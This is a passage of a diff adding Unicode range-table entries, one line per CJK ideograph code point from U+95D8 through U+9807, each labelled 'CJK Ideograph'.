+ [0x95d8, 0x95d8], /* CJK Ideograph */
+ [0x95d9, 0x95d9], /* CJK Ideograph */
+ [0x95da, 0x95da], /* CJK Ideograph */
+ [0x95db, 0x95db], /* CJK Ideograph */
+ [0x95dc, 0x95dc], /* CJK Ideograph */
+ [0x95dd, 0x95dd], /* CJK Ideograph */
+ [0x95de, 0x95de], /* CJK Ideograph */
+ [0x95df, 0x95df], /* CJK Ideograph */
+ [0x95e0, 0x95e0], /* CJK Ideograph */
+ [0x95e1, 0x95e1], /* CJK Ideograph */
+ [0x95e2, 0x95e2], /* CJK Ideograph */
+ [0x95e3, 0x95e3], /* CJK Ideograph */
+ [0x95e4, 0x95e4], /* CJK Ideograph */
+ [0x95e5, 0x95e5], /* CJK Ideograph */
+ [0x95e6, 0x95e6], /* CJK Ideograph */
+ [0x95e7, 0x95e7], /* CJK Ideograph */
+ [0x95e8, 0x95e8], /* CJK Ideograph */
+ [0x95e9, 0x95e9], /* CJK Ideograph */
+ [0x95ea, 0x95ea], /* CJK Ideograph */
+ [0x95eb, 0x95eb], /* CJK Ideograph */
+ [0x95ec, 0x95ec], /* CJK Ideograph */
+ [0x95ed, 0x95ed], /* CJK Ideograph */
+ [0x95ee, 0x95ee], /* CJK Ideograph */
+ [0x95ef, 0x95ef], /* CJK Ideograph */
+ [0x95f0, 0x95f0], /* CJK Ideograph */
+ [0x95f1, 0x95f1], /* CJK Ideograph */
+ [0x95f2, 0x95f2], /* CJK Ideograph */
+ [0x95f3, 0x95f3], /* CJK Ideograph */
+ [0x95f4, 0x95f4], /* CJK Ideograph */
+ [0x95f5, 0x95f5], /* CJK Ideograph */
+ [0x95f6, 0x95f6], /* CJK Ideograph */
+ [0x95f7, 0x95f7], /* CJK Ideograph */
+ [0x95f8, 0x95f8], /* CJK Ideograph */
+ [0x95f9, 0x95f9], /* CJK Ideograph */
+ [0x95fa, 0x95fa], /* CJK Ideograph */
+ [0x95fb, 0x95fb], /* CJK Ideograph */
+ [0x95fc, 0x95fc], /* CJK Ideograph */
+ [0x95fd, 0x95fd], /* CJK Ideograph */
+ [0x95fe, 0x95fe], /* CJK Ideograph */
+ [0x95ff, 0x95ff], /* CJK Ideograph */
+ [0x9600, 0x9600], /* CJK Ideograph */
+ [0x9601, 0x9601], /* CJK Ideograph */
+ [0x9602, 0x9602], /* CJK Ideograph */
+ [0x9603, 0x9603], /* CJK Ideograph */
+ [0x9604, 0x9604], /* CJK Ideograph */
+ [0x9605, 0x9605], /* CJK Ideograph */
+ [0x9606, 0x9606], /* CJK Ideograph */
+ [0x9607, 0x9607], /* CJK Ideograph */
+ [0x9608, 0x9608], /* CJK Ideograph */
+ [0x9609, 0x9609], /* CJK Ideograph */
+ [0x960a, 0x960a], /* CJK Ideograph */
+ [0x960b, 0x960b], /* CJK Ideograph */
+ [0x960c, 0x960c], /* CJK Ideograph */
+ [0x960d, 0x960d], /* CJK Ideograph */
+ [0x960e, 0x960e], /* CJK Ideograph */
+ [0x960f, 0x960f], /* CJK Ideograph */
+ [0x9610, 0x9610], /* CJK Ideograph */
+ [0x9611, 0x9611], /* CJK Ideograph */
+ [0x9612, 0x9612], /* CJK Ideograph */
+ [0x9613, 0x9613], /* CJK Ideograph */
+ [0x9614, 0x9614], /* CJK Ideograph */
+ [0x9615, 0x9615], /* CJK Ideograph */
+ [0x9616, 0x9616], /* CJK Ideograph */
+ [0x9617, 0x9617], /* CJK Ideograph */
+ [0x9618, 0x9618], /* CJK Ideograph */
+ [0x9619, 0x9619], /* CJK Ideograph */
+ [0x961a, 0x961a], /* CJK Ideograph */
+ [0x961b, 0x961b], /* CJK Ideograph */
+ [0x961c, 0x961c], /* CJK Ideograph */
+ [0x961d, 0x961d], /* CJK Ideograph */
+ [0x961e, 0x961e], /* CJK Ideograph */
+ [0x961f, 0x961f], /* CJK Ideograph */
+ [0x9620, 0x9620], /* CJK Ideograph */
+ [0x9621, 0x9621], /* CJK Ideograph */
+ [0x9622, 0x9622], /* CJK Ideograph */
+ [0x9623, 0x9623], /* CJK Ideograph */
+ [0x9624, 0x9624], /* CJK Ideograph */
+ [0x9625, 0x9625], /* CJK Ideograph */
+ [0x9626, 0x9626], /* CJK Ideograph */
+ [0x9627, 0x9627], /* CJK Ideograph */
+ [0x9628, 0x9628], /* CJK Ideograph */
+ [0x9629, 0x9629], /* CJK Ideograph */
+ [0x962a, 0x962a], /* CJK Ideograph */
+ [0x962b, 0x962b], /* CJK Ideograph */
+ [0x962c, 0x962c], /* CJK Ideograph */
+ [0x962d, 0x962d], /* CJK Ideograph */
+ [0x962e, 0x962e], /* CJK Ideograph */
+ [0x962f, 0x962f], /* CJK Ideograph */
+ [0x9630, 0x9630], /* CJK Ideograph */
+ [0x9631, 0x9631], /* CJK Ideograph */
+ [0x9632, 0x9632], /* CJK Ideograph */
+ [0x9633, 0x9633], /* CJK Ideograph */
+ [0x9634, 0x9634], /* CJK Ideograph */
+ [0x9635, 0x9635], /* CJK Ideograph */
+ [0x9636, 0x9636], /* CJK Ideograph */
+ [0x9637, 0x9637], /* CJK Ideograph */
+ [0x9638, 0x9638], /* CJK Ideograph */
+ [0x9639, 0x9639], /* CJK Ideograph */
+ [0x963a, 0x963a], /* CJK Ideograph */
+ [0x963b, 0x963b], /* CJK Ideograph */
+ [0x963c, 0x963c], /* CJK Ideograph */
+ [0x963d, 0x963d], /* CJK Ideograph */
+ [0x963e, 0x963e], /* CJK Ideograph */
+ [0x963f, 0x963f], /* CJK Ideograph */
+ [0x9640, 0x9640], /* CJK Ideograph */
+ [0x9641, 0x9641], /* CJK Ideograph */
+ [0x9642, 0x9642], /* CJK Ideograph */
+ [0x9643, 0x9643], /* CJK Ideograph */
+ [0x9644, 0x9644], /* CJK Ideograph */
+ [0x9645, 0x9645], /* CJK Ideograph */
+ [0x9646, 0x9646], /* CJK Ideograph */
+ [0x9647, 0x9647], /* CJK Ideograph */
+ [0x9648, 0x9648], /* CJK Ideograph */
+ [0x9649, 0x9649], /* CJK Ideograph */
+ [0x964a, 0x964a], /* CJK Ideograph */
+ [0x964b, 0x964b], /* CJK Ideograph */
+ [0x964c, 0x964c], /* CJK Ideograph */
+ [0x964d, 0x964d], /* CJK Ideograph */
+ [0x964e, 0x964e], /* CJK Ideograph */
+ [0x964f, 0x964f], /* CJK Ideograph */
+ [0x9650, 0x9650], /* CJK Ideograph */
+ [0x9651, 0x9651], /* CJK Ideograph */
+ [0x9652, 0x9652], /* CJK Ideograph */
+ [0x9653, 0x9653], /* CJK Ideograph */
+ [0x9654, 0x9654], /* CJK Ideograph */
+ [0x9655, 0x9655], /* CJK Ideograph */
+ [0x9656, 0x9656], /* CJK Ideograph */
+ [0x9657, 0x9657], /* CJK Ideograph */
+ [0x9658, 0x9658], /* CJK Ideograph */
+ [0x9659, 0x9659], /* CJK Ideograph */
+ [0x965a, 0x965a], /* CJK Ideograph */
+ [0x965b, 0x965b], /* CJK Ideograph */
+ [0x965c, 0x965c], /* CJK Ideograph */
+ [0x965d, 0x965d], /* CJK Ideograph */
+ [0x965e, 0x965e], /* CJK Ideograph */
+ [0x965f, 0x965f], /* CJK Ideograph */
+ [0x9660, 0x9660], /* CJK Ideograph */
+ [0x9661, 0x9661], /* CJK Ideograph */
+ [0x9662, 0x9662], /* CJK Ideograph */
+ [0x9663, 0x9663], /* CJK Ideograph */
+ [0x9664, 0x9664], /* CJK Ideograph */
+ [0x9665, 0x9665], /* CJK Ideograph */
+ [0x9666, 0x9666], /* CJK Ideograph */
+ [0x9667, 0x9667], /* CJK Ideograph */
+ [0x9668, 0x9668], /* CJK Ideograph */
+ [0x9669, 0x9669], /* CJK Ideograph */
+ [0x966a, 0x966a], /* CJK Ideograph */
+ [0x966b, 0x966b], /* CJK Ideograph */
+ [0x966c, 0x966c], /* CJK Ideograph */
+ [0x966d, 0x966d], /* CJK Ideograph */
+ [0x966e, 0x966e], /* CJK Ideograph */
+ [0x966f, 0x966f], /* CJK Ideograph */
+ [0x9670, 0x9670], /* CJK Ideograph */
+ [0x9671, 0x9671], /* CJK Ideograph */
+ [0x9672, 0x9672], /* CJK Ideograph */
+ [0x9673, 0x9673], /* CJK Ideograph */
+ [0x9674, 0x9674], /* CJK Ideograph */
+ [0x9675, 0x9675], /* CJK Ideograph */
+ [0x9676, 0x9676], /* CJK Ideograph */
+ [0x9677, 0x9677], /* CJK Ideograph */
+ [0x9678, 0x9678], /* CJK Ideograph */
+ [0x9679, 0x9679], /* CJK Ideograph */
+ [0x967a, 0x967a], /* CJK Ideograph */
+ [0x967b, 0x967b], /* CJK Ideograph */
+ [0x967c, 0x967c], /* CJK Ideograph */
+ [0x967d, 0x967d], /* CJK Ideograph */
+ [0x967e, 0x967e], /* CJK Ideograph */
+ [0x967f, 0x967f], /* CJK Ideograph */
+ [0x9680, 0x9680], /* CJK Ideograph */
+ [0x9681, 0x9681], /* CJK Ideograph */
+ [0x9682, 0x9682], /* CJK Ideograph */
+ [0x9683, 0x9683], /* CJK Ideograph */
+ [0x9684, 0x9684], /* CJK Ideograph */
+ [0x9685, 0x9685], /* CJK Ideograph */
+ [0x9686, 0x9686], /* CJK Ideograph */
+ [0x9687, 0x9687], /* CJK Ideograph */
+ [0x9688, 0x9688], /* CJK Ideograph */
+ [0x9689, 0x9689], /* CJK Ideograph */
+ [0x968a, 0x968a], /* CJK Ideograph */
+ [0x968b, 0x968b], /* CJK Ideograph */
+ [0x968c, 0x968c], /* CJK Ideograph */
+ [0x968d, 0x968d], /* CJK Ideograph */
+ [0x968e, 0x968e], /* CJK Ideograph */
+ [0x968f, 0x968f], /* CJK Ideograph */
+ [0x9690, 0x9690], /* CJK Ideograph */
+ [0x9691, 0x9691], /* CJK Ideograph */
+ [0x9692, 0x9692], /* CJK Ideograph */
+ [0x9693, 0x9693], /* CJK Ideograph */
+ [0x9694, 0x9694], /* CJK Ideograph */
+ [0x9695, 0x9695], /* CJK Ideograph */
+ [0x9696, 0x9696], /* CJK Ideograph */
+ [0x9697, 0x9697], /* CJK Ideograph */
+ [0x9698, 0x9698], /* CJK Ideograph */
+ [0x9699, 0x9699], /* CJK Ideograph */
+ [0x969a, 0x969a], /* CJK Ideograph */
+ [0x969b, 0x969b], /* CJK Ideograph */
+ [0x969c, 0x969c], /* CJK Ideograph */
+ [0x969d, 0x969d], /* CJK Ideograph */
+ [0x969e, 0x969e], /* CJK Ideograph */
+ [0x969f, 0x969f], /* CJK Ideograph */
+ [0x96a0, 0x96a0], /* CJK Ideograph */
+ [0x96a1, 0x96a1], /* CJK Ideograph */
+ [0x96a2, 0x96a2], /* CJK Ideograph */
+ [0x96a3, 0x96a3], /* CJK Ideograph */
+ [0x96a4, 0x96a4], /* CJK Ideograph */
+ [0x96a5, 0x96a5], /* CJK Ideograph */
+ [0x96a6, 0x96a6], /* CJK Ideograph */
+ [0x96a7, 0x96a7], /* CJK Ideograph */
+ [0x96a8, 0x96a8], /* CJK Ideograph */
+ [0x96a9, 0x96a9], /* CJK Ideograph */
+ [0x96aa, 0x96aa], /* CJK Ideograph */
+ [0x96ab, 0x96ab], /* CJK Ideograph */
+ [0x96ac, 0x96ac], /* CJK Ideograph */
+ [0x96ad, 0x96ad], /* CJK Ideograph */
+ [0x96ae, 0x96ae], /* CJK Ideograph */
+ [0x96af, 0x96af], /* CJK Ideograph */
+ [0x96b0, 0x96b0], /* CJK Ideograph */
+ [0x96b1, 0x96b1], /* CJK Ideograph */
+ [0x96b2, 0x96b2], /* CJK Ideograph */
+ [0x96b3, 0x96b3], /* CJK Ideograph */
+ [0x96b4, 0x96b4], /* CJK Ideograph */
+ [0x96b5, 0x96b5], /* CJK Ideograph */
+ [0x96b6, 0x96b6], /* CJK Ideograph */
+ [0x96b7, 0x96b7], /* CJK Ideograph */
+ [0x96b8, 0x96b8], /* CJK Ideograph */
+ [0x96b9, 0x96b9], /* CJK Ideograph */
+ [0x96ba, 0x96ba], /* CJK Ideograph */
+ [0x96bb, 0x96bb], /* CJK Ideograph */
+ [0x96bc, 0x96bc], /* CJK Ideograph */
+ [0x96bd, 0x96bd], /* CJK Ideograph */
+ [0x96be, 0x96be], /* CJK Ideograph */
+ [0x96bf, 0x96bf], /* CJK Ideograph */
+ [0x96c0, 0x96c0], /* CJK Ideograph */
+ [0x96c1, 0x96c1], /* CJK Ideograph */
+ [0x96c2, 0x96c2], /* CJK Ideograph */
+ [0x96c3, 0x96c3], /* CJK Ideograph */
+ [0x96c4, 0x96c4], /* CJK Ideograph */
+ [0x96c5, 0x96c5], /* CJK Ideograph */
+ [0x96c6, 0x96c6], /* CJK Ideograph */
+ [0x96c7, 0x96c7], /* CJK Ideograph */
+ [0x96c8, 0x96c8], /* CJK Ideograph */
+ [0x96c9, 0x96c9], /* CJK Ideograph */
+ [0x96ca, 0x96ca], /* CJK Ideograph */
+ [0x96cb, 0x96cb], /* CJK Ideograph */
+ [0x96cc, 0x96cc], /* CJK Ideograph */
+ [0x96cd, 0x96cd], /* CJK Ideograph */
+ [0x96ce, 0x96ce], /* CJK Ideograph */
+ [0x96cf, 0x96cf], /* CJK Ideograph */
+ [0x96d0, 0x96d0], /* CJK Ideograph */
+ [0x96d1, 0x96d1], /* CJK Ideograph */
+ [0x96d2, 0x96d2], /* CJK Ideograph */
+ [0x96d3, 0x96d3], /* CJK Ideograph */
+ [0x96d4, 0x96d4], /* CJK Ideograph */
+ [0x96d5, 0x96d5], /* CJK Ideograph */
+ [0x96d6, 0x96d6], /* CJK Ideograph */
+ [0x96d7, 0x96d7], /* CJK Ideograph */
+ [0x96d8, 0x96d8], /* CJK Ideograph */
+ [0x96d9, 0x96d9], /* CJK Ideograph */
+ [0x96da, 0x96da], /* CJK Ideograph */
+ [0x96db, 0x96db], /* CJK Ideograph */
+ [0x96dc, 0x96dc], /* CJK Ideograph */
+ [0x96dd, 0x96dd], /* CJK Ideograph */
+ [0x96de, 0x96de], /* CJK Ideograph */
+ [0x96df, 0x96df], /* CJK Ideograph */
+ [0x96e0, 0x96e0], /* CJK Ideograph */
+ [0x96e1, 0x96e1], /* CJK Ideograph */
+ [0x96e2, 0x96e2], /* CJK Ideograph */
+ [0x96e3, 0x96e3], /* CJK Ideograph */
+ [0x96e4, 0x96e4], /* CJK Ideograph */
+ [0x96e5, 0x96e5], /* CJK Ideograph */
+ [0x96e6, 0x96e6], /* CJK Ideograph */
+ [0x96e7, 0x96e7], /* CJK Ideograph */
+ [0x96e8, 0x96e8], /* CJK Ideograph */
+ [0x96e9, 0x96e9], /* CJK Ideograph */
+ [0x96ea, 0x96ea], /* CJK Ideograph */
+ [0x96eb, 0x96eb], /* CJK Ideograph */
+ [0x96ec, 0x96ec], /* CJK Ideograph */
+ [0x96ed, 0x96ed], /* CJK Ideograph */
+ [0x96ee, 0x96ee], /* CJK Ideograph */
+ [0x96ef, 0x96ef], /* CJK Ideograph */
+ [0x96f0, 0x96f0], /* CJK Ideograph */
+ [0x96f1, 0x96f1], /* CJK Ideograph */
+ [0x96f2, 0x96f2], /* CJK Ideograph */
+ [0x96f3, 0x96f3], /* CJK Ideograph */
+ [0x96f4, 0x96f4], /* CJK Ideograph */
+ [0x96f5, 0x96f5], /* CJK Ideograph */
+ [0x96f6, 0x96f6], /* CJK Ideograph */
+ [0x96f7, 0x96f7], /* CJK Ideograph */
+ [0x96f8, 0x96f8], /* CJK Ideograph */
+ [0x96f9, 0x96f9], /* CJK Ideograph */
+ [0x96fa, 0x96fa], /* CJK Ideograph */
+ [0x96fb, 0x96fb], /* CJK Ideograph */
+ [0x96fc, 0x96fc], /* CJK Ideograph */
+ [0x96fd, 0x96fd], /* CJK Ideograph */
+ [0x96fe, 0x96fe], /* CJK Ideograph */
+ [0x96ff, 0x96ff], /* CJK Ideograph */
+ [0x9700, 0x9700], /* CJK Ideograph */
+ [0x9701, 0x9701], /* CJK Ideograph */
+ [0x9702, 0x9702], /* CJK Ideograph */
+ [0x9703, 0x9703], /* CJK Ideograph */
+ [0x9704, 0x9704], /* CJK Ideograph */
+ [0x9705, 0x9705], /* CJK Ideograph */
+ [0x9706, 0x9706], /* CJK Ideograph */
+ [0x9707, 0x9707], /* CJK Ideograph */
+ [0x9708, 0x9708], /* CJK Ideograph */
+ [0x9709, 0x9709], /* CJK Ideograph */
+ [0x970a, 0x970a], /* CJK Ideograph */
+ [0x970b, 0x970b], /* CJK Ideograph */
+ [0x970c, 0x970c], /* CJK Ideograph */
+ [0x970d, 0x970d], /* CJK Ideograph */
+ [0x970e, 0x970e], /* CJK Ideograph */
+ [0x970f, 0x970f], /* CJK Ideograph */
+ [0x9710, 0x9710], /* CJK Ideograph */
+ [0x9711, 0x9711], /* CJK Ideograph */
+ [0x9712, 0x9712], /* CJK Ideograph */
+ [0x9713, 0x9713], /* CJK Ideograph */
+ [0x9714, 0x9714], /* CJK Ideograph */
+ [0x9715, 0x9715], /* CJK Ideograph */
+ [0x9716, 0x9716], /* CJK Ideograph */
+ [0x9717, 0x9717], /* CJK Ideograph */
+ [0x9718, 0x9718], /* CJK Ideograph */
+ [0x9719, 0x9719], /* CJK Ideograph */
+ [0x971a, 0x971a], /* CJK Ideograph */
+ [0x971b, 0x971b], /* CJK Ideograph */
+ [0x971c, 0x971c], /* CJK Ideograph */
+ [0x971d, 0x971d], /* CJK Ideograph */
+ [0x971e, 0x971e], /* CJK Ideograph */
+ [0x971f, 0x971f], /* CJK Ideograph */
+ [0x9720, 0x9720], /* CJK Ideograph */
+ [0x9721, 0x9721], /* CJK Ideograph */
+ [0x9722, 0x9722], /* CJK Ideograph */
+ [0x9723, 0x9723], /* CJK Ideograph */
+ [0x9724, 0x9724], /* CJK Ideograph */
+ [0x9725, 0x9725], /* CJK Ideograph */
+ [0x9726, 0x9726], /* CJK Ideograph */
+ [0x9727, 0x9727], /* CJK Ideograph */
+ [0x9728, 0x9728], /* CJK Ideograph */
+ [0x9729, 0x9729], /* CJK Ideograph */
+ [0x972a, 0x972a], /* CJK Ideograph */
+ [0x972b, 0x972b], /* CJK Ideograph */
+ [0x972c, 0x972c], /* CJK Ideograph */
+ [0x972d, 0x972d], /* CJK Ideograph */
+ [0x972e, 0x972e], /* CJK Ideograph */
+ [0x972f, 0x972f], /* CJK Ideograph */
+ [0x9730, 0x9730], /* CJK Ideograph */
+ [0x9731, 0x9731], /* CJK Ideograph */
+ [0x9732, 0x9732], /* CJK Ideograph */
+ [0x9733, 0x9733], /* CJK Ideograph */
+ [0x9734, 0x9734], /* CJK Ideograph */
+ [0x9735, 0x9735], /* CJK Ideograph */
+ [0x9736, 0x9736], /* CJK Ideograph */
+ [0x9737, 0x9737], /* CJK Ideograph */
+ [0x9738, 0x9738], /* CJK Ideograph */
+ [0x9739, 0x9739], /* CJK Ideograph */
+ [0x973a, 0x973a], /* CJK Ideograph */
+ [0x973b, 0x973b], /* CJK Ideograph */
+ [0x973c, 0x973c], /* CJK Ideograph */
+ [0x973d, 0x973d], /* CJK Ideograph */
+ [0x973e, 0x973e], /* CJK Ideograph */
+ [0x973f, 0x973f], /* CJK Ideograph */
+ [0x9740, 0x9740], /* CJK Ideograph */
+ [0x9741, 0x9741], /* CJK Ideograph */
+ [0x9742, 0x9742], /* CJK Ideograph */
+ [0x9743, 0x9743], /* CJK Ideograph */
+ [0x9744, 0x9744], /* CJK Ideograph */
+ [0x9745, 0x9745], /* CJK Ideograph */
+ [0x9746, 0x9746], /* CJK Ideograph */
+ [0x9747, 0x9747], /* CJK Ideograph */
+ [0x9748, 0x9748], /* CJK Ideograph */
+ [0x9749, 0x9749], /* CJK Ideograph */
+ [0x974a, 0x974a], /* CJK Ideograph */
+ [0x974b, 0x974b], /* CJK Ideograph */
+ [0x974c, 0x974c], /* CJK Ideograph */
+ [0x974d, 0x974d], /* CJK Ideograph */
+ [0x974e, 0x974e], /* CJK Ideograph */
+ [0x974f, 0x974f], /* CJK Ideograph */
+ [0x9750, 0x9750], /* CJK Ideograph */
+ [0x9751, 0x9751], /* CJK Ideograph */
+ [0x9752, 0x9752], /* CJK Ideograph */
+ [0x9753, 0x9753], /* CJK Ideograph */
+ [0x9754, 0x9754], /* CJK Ideograph */
+ [0x9755, 0x9755], /* CJK Ideograph */
+ [0x9756, 0x9756], /* CJK Ideograph */
+ [0x9757, 0x9757], /* CJK Ideograph */
+ [0x9758, 0x9758], /* CJK Ideograph */
+ [0x9759, 0x9759], /* CJK Ideograph */
+ [0x975a, 0x975a], /* CJK Ideograph */
+ [0x975b, 0x975b], /* CJK Ideograph */
+ [0x975c, 0x975c], /* CJK Ideograph */
+ [0x975d, 0x975d], /* CJK Ideograph */
+ [0x975e, 0x975e], /* CJK Ideograph */
+ [0x975f, 0x975f], /* CJK Ideograph */
+ [0x9760, 0x9760], /* CJK Ideograph */
+ [0x9761, 0x9761], /* CJK Ideograph */
+ [0x9762, 0x9762], /* CJK Ideograph */
+ [0x9763, 0x9763], /* CJK Ideograph */
+ [0x9764, 0x9764], /* CJK Ideograph */
+ [0x9765, 0x9765], /* CJK Ideograph */
+ [0x9766, 0x9766], /* CJK Ideograph */
+ [0x9767, 0x9767], /* CJK Ideograph */
+ [0x9768, 0x9768], /* CJK Ideograph */
+ [0x9769, 0x9769], /* CJK Ideograph */
+ [0x976a, 0x976a], /* CJK Ideograph */
+ [0x976b, 0x976b], /* CJK Ideograph */
+ [0x976c, 0x976c], /* CJK Ideograph */
+ [0x976d, 0x976d], /* CJK Ideograph */
+ [0x976e, 0x976e], /* CJK Ideograph */
+ [0x976f, 0x976f], /* CJK Ideograph */
+ [0x9770, 0x9770], /* CJK Ideograph */
+ [0x9771, 0x9771], /* CJK Ideograph */
+ [0x9772, 0x9772], /* CJK Ideograph */
+ [0x9773, 0x9773], /* CJK Ideograph */
+ [0x9774, 0x9774], /* CJK Ideograph */
+ [0x9775, 0x9775], /* CJK Ideograph */
+ [0x9776, 0x9776], /* CJK Ideograph */
+ [0x9777, 0x9777], /* CJK Ideograph */
+ [0x9778, 0x9778], /* CJK Ideograph */
+ [0x9779, 0x9779], /* CJK Ideograph */
+ [0x977a, 0x977a], /* CJK Ideograph */
+ [0x977b, 0x977b], /* CJK Ideograph */
+ [0x977c, 0x977c], /* CJK Ideograph */
+ [0x977d, 0x977d], /* CJK Ideograph */
+ [0x977e, 0x977e], /* CJK Ideograph */
+ [0x977f, 0x977f], /* CJK Ideograph */
+ [0x9780, 0x9780], /* CJK Ideograph */
+ [0x9781, 0x9781], /* CJK Ideograph */
+ [0x9782, 0x9782], /* CJK Ideograph */
+ [0x9783, 0x9783], /* CJK Ideograph */
+ [0x9784, 0x9784], /* CJK Ideograph */
+ [0x9785, 0x9785], /* CJK Ideograph */
+ [0x9786, 0x9786], /* CJK Ideograph */
+ [0x9787, 0x9787], /* CJK Ideograph */
+ [0x9788, 0x9788], /* CJK Ideograph */
+ [0x9789, 0x9789], /* CJK Ideograph */
+ [0x978a, 0x978a], /* CJK Ideograph */
+ [0x978b, 0x978b], /* CJK Ideograph */
+ [0x978c, 0x978c], /* CJK Ideograph */
+ [0x978d, 0x978d], /* CJK Ideograph */
+ [0x978e, 0x978e], /* CJK Ideograph */
+ [0x978f, 0x978f], /* CJK Ideograph */
+ [0x9790, 0x9790], /* CJK Ideograph */
+ [0x9791, 0x9791], /* CJK Ideograph */
+ [0x9792, 0x9792], /* CJK Ideograph */
+ [0x9793, 0x9793], /* CJK Ideograph */
+ [0x9794, 0x9794], /* CJK Ideograph */
+ [0x9795, 0x9795], /* CJK Ideograph */
+ [0x9796, 0x9796], /* CJK Ideograph */
+ [0x9797, 0x9797], /* CJK Ideograph */
+ [0x9798, 0x9798], /* CJK Ideograph */
+ [0x9799, 0x9799], /* CJK Ideograph */
+ [0x979a, 0x979a], /* CJK Ideograph */
+ [0x979b, 0x979b], /* CJK Ideograph */
+ [0x979c, 0x979c], /* CJK Ideograph */
+ [0x979d, 0x979d], /* CJK Ideograph */
+ [0x979e, 0x979e], /* CJK Ideograph */
+ [0x979f, 0x979f], /* CJK Ideograph */
+ [0x97a0, 0x97a0], /* CJK Ideograph */
+ [0x97a1, 0x97a1], /* CJK Ideograph */
+ [0x97a2, 0x97a2], /* CJK Ideograph */
+ [0x97a3, 0x97a3], /* CJK Ideograph */
+ [0x97a4, 0x97a4], /* CJK Ideograph */
+ [0x97a5, 0x97a5], /* CJK Ideograph */
+ [0x97a6, 0x97a6], /* CJK Ideograph */
+ [0x97a7, 0x97a7], /* CJK Ideograph */
+ [0x97a8, 0x97a8], /* CJK Ideograph */
+ [0x97a9, 0x97a9], /* CJK Ideograph */
+ [0x97aa, 0x97aa], /* CJK Ideograph */
+ [0x97ab, 0x97ab], /* CJK Ideograph */
+ [0x97ac, 0x97ac], /* CJK Ideograph */
+ [0x97ad, 0x97ad], /* CJK Ideograph */
+ [0x97ae, 0x97ae], /* CJK Ideograph */
+ [0x97af, 0x97af], /* CJK Ideograph */
+ [0x97b0, 0x97b0], /* CJK Ideograph */
+ [0x97b1, 0x97b1], /* CJK Ideograph */
+ [0x97b2, 0x97b2], /* CJK Ideograph */
+ [0x97b3, 0x97b3], /* CJK Ideograph */
+ [0x97b4, 0x97b4], /* CJK Ideograph */
+ [0x97b5, 0x97b5], /* CJK Ideograph */
+ [0x97b6, 0x97b6], /* CJK Ideograph */
+ [0x97b7, 0x97b7], /* CJK Ideograph */
+ [0x97b8, 0x97b8], /* CJK Ideograph */
+ [0x97b9, 0x97b9], /* CJK Ideograph */
+ [0x97ba, 0x97ba], /* CJK Ideograph */
+ [0x97bb, 0x97bb], /* CJK Ideograph */
+ [0x97bc, 0x97bc], /* CJK Ideograph */
+ [0x97bd, 0x97bd], /* CJK Ideograph */
+ [0x97be, 0x97be], /* CJK Ideograph */
+ [0x97bf, 0x97bf], /* CJK Ideograph */
+ [0x97c0, 0x97c0], /* CJK Ideograph */
+ [0x97c1, 0x97c1], /* CJK Ideograph */
+ [0x97c2, 0x97c2], /* CJK Ideograph */
+ [0x97c3, 0x97c3], /* CJK Ideograph */
+ [0x97c4, 0x97c4], /* CJK Ideograph */
+ [0x97c5, 0x97c5], /* CJK Ideograph */
+ [0x97c6, 0x97c6], /* CJK Ideograph */
+ [0x97c7, 0x97c7], /* CJK Ideograph */
+ [0x97c8, 0x97c8], /* CJK Ideograph */
+ [0x97c9, 0x97c9], /* CJK Ideograph */
+ [0x97ca, 0x97ca], /* CJK Ideograph */
+ [0x97cb, 0x97cb], /* CJK Ideograph */
+ [0x97cc, 0x97cc], /* CJK Ideograph */
+ [0x97cd, 0x97cd], /* CJK Ideograph */
+ [0x97ce, 0x97ce], /* CJK Ideograph */
+ [0x97cf, 0x97cf], /* CJK Ideograph */
+ [0x97d0, 0x97d0], /* CJK Ideograph */
+ [0x97d1, 0x97d1], /* CJK Ideograph */
+ [0x97d2, 0x97d2], /* CJK Ideograph */
+ [0x97d3, 0x97d3], /* CJK Ideograph */
+ [0x97d4, 0x97d4], /* CJK Ideograph */
+ [0x97d5, 0x97d5], /* CJK Ideograph */
+ [0x97d6, 0x97d6], /* CJK Ideograph */
+ [0x97d7, 0x97d7], /* CJK Ideograph */
+ [0x97d8, 0x97d8], /* CJK Ideograph */
+ [0x97d9, 0x97d9], /* CJK Ideograph */
+ [0x97da, 0x97da], /* CJK Ideograph */
+ [0x97db, 0x97db], /* CJK Ideograph */
+ [0x97dc, 0x97dc], /* CJK Ideograph */
+ [0x97dd, 0x97dd], /* CJK Ideograph */
+ [0x97de, 0x97de], /* CJK Ideograph */
+ [0x97df, 0x97df], /* CJK Ideograph */
+ [0x97e0, 0x97e0], /* CJK Ideograph */
+ [0x97e1, 0x97e1], /* CJK Ideograph */
+ [0x97e2, 0x97e2], /* CJK Ideograph */
+ [0x97e3, 0x97e3], /* CJK Ideograph */
+ [0x97e4, 0x97e4], /* CJK Ideograph */
+ [0x97e5, 0x97e5], /* CJK Ideograph */
+ [0x97e6, 0x97e6], /* CJK Ideograph */
+ [0x97e7, 0x97e7], /* CJK Ideograph */
+ [0x97e8, 0x97e8], /* CJK Ideograph */
+ [0x97e9, 0x97e9], /* CJK Ideograph */
+ [0x97ea, 0x97ea], /* CJK Ideograph */
+ [0x97eb, 0x97eb], /* CJK Ideograph */
+ [0x97ec, 0x97ec], /* CJK Ideograph */
+ [0x97ed, 0x97ed], /* CJK Ideograph */
+ [0x97ee, 0x97ee], /* CJK Ideograph */
+ [0x97ef, 0x97ef], /* CJK Ideograph */
+ [0x97f0, 0x97f0], /* CJK Ideograph */
+ [0x97f1, 0x97f1], /* CJK Ideograph */
+ [0x97f2, 0x97f2], /* CJK Ideograph */
+ [0x97f3, 0x97f3], /* CJK Ideograph */
+ [0x97f4, 0x97f4], /* CJK Ideograph */
+ [0x97f5, 0x97f5], /* CJK Ideograph */
+ [0x97f6, 0x97f6], /* CJK Ideograph */
+ [0x97f7, 0x97f7], /* CJK Ideograph */
+ [0x97f8, 0x97f8], /* CJK Ideograph */
+ [0x97f9, 0x97f9], /* CJK Ideograph */
+ [0x97fa, 0x97fa], /* CJK Ideograph */
+ [0x97fb, 0x97fb], /* CJK Ideograph */
+ [0x97fc, 0x97fc], /* CJK Ideograph */
+ [0x97fd, 0x97fd], /* CJK Ideograph */
+ [0x97fe, 0x97fe], /* CJK Ideograph */
+ [0x97ff, 0x97ff], /* CJK Ideograph */
+ [0x9800, 0x9800], /* CJK Ideograph */
+ [0x9801, 0x9801], /* CJK Ideograph */
+ [0x9802, 0x9802], /* CJK Ideograph */
+ [0x9803, 0x9803], /* CJK Ideograph */
+ [0x9804, 0x9804], /* CJK Ideograph */
+ [0x9805, 0x9805], /* CJK Ideograph */
+ [0x9806, 0x9806], /* CJK Ideograph */
+ [0x9807, 0x9807], /* CJK Ideograph */
